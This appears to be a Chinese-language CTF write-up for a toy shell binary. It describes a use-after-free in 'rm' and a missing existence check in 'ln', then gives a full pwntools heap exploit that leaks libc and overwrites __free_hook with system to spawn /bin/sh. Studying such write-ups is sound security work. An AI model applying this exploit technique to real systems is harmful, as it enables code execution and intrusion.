漏洞分析
- rm 释放堆之后未清零造成 UAF 漏洞
- ln 执行时仅判断第一个文件是否存在而不会判断第二个文件是否存在,且连接成功后不存在的文件将被添加到文件列表
利用思路
利用两个相同大小的unsorted bin合并,申请一个相同大小的堆块,堆快中残留的fd,可以泄露到 malloc_hook地址进而泄露libc基址
删除一个堆之后与另一个堆进行连接
再次删除这个堆,即间接的删除了与其进行连接的堆,而不会造成与其连接的堆从文件列表消失
再次连接后删除的文件又在文件列表中出现,此时两个文件即两个堆都已经被释放,且最开始被连接的堆的fd为其之后连接的堆
用gedit编辑最开始被释放的堆,即可修改其fd,再次申请就可以实现任意地址写
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './sh_v1.1'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('121.40.89.206',34883)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def touch(filename, content):
p1 = 'touch ' + filename
r.sendlineafter('>>>>', p1)
r.sendline(content)
def ls():
r.sendlineafter('>>>>', 'ls')
def rm(filename):
p1 = 'rm ' + filename
r.sendlineafter('>>>>', p1)
def cp(filename1, filename2):
p1 = 'cp ' + filename1 + ' ' + filename2
r.sendlineafter('>>>>', p1)
def cat(filename):
p1 = 'cat ' + filename
r.sendlineafter('>>>>', p1)
def gedit(filename, content):
p1 = 'gedit ' + filename
r.sendlineafter('>>>>', p1)
r.sendline(content)
def ln(filename1, filename2):
p1 = 'ln ' + filename1 + ' ' + filename2
r.sendlineafter('>>>>', p1)
for i in range(10):
p1 = 'try' + str(i) + '.txt'
touch(p1, 'aaa')
for i in range(9):
p1 = 'try' + str(i) + '.txt'
rm(p1)
for i in range(8):
p1 = 'try' + str(i) + '.txt'
touch(p1, 'aaaaaaaa')
cat('try7.txt')
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 1104 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook'] + libc_base
li('free_hook = ' + hex(free_hook))
system = libc.sym['system'] + libc_base
touch('try8.txt', 'aaa')
rm('try0.txt')
ln('try6.txt', 'try0.txt')
rm('try0.txt')
ln('try6.txt', 'try0.txt')
gedit('try0.txt', p64(free_hook))
dbg()
touch('try10.txt', '/bin/sh\x00')
touch('try11.txt', p64(system))
rm('try10.txt')
r.interactive()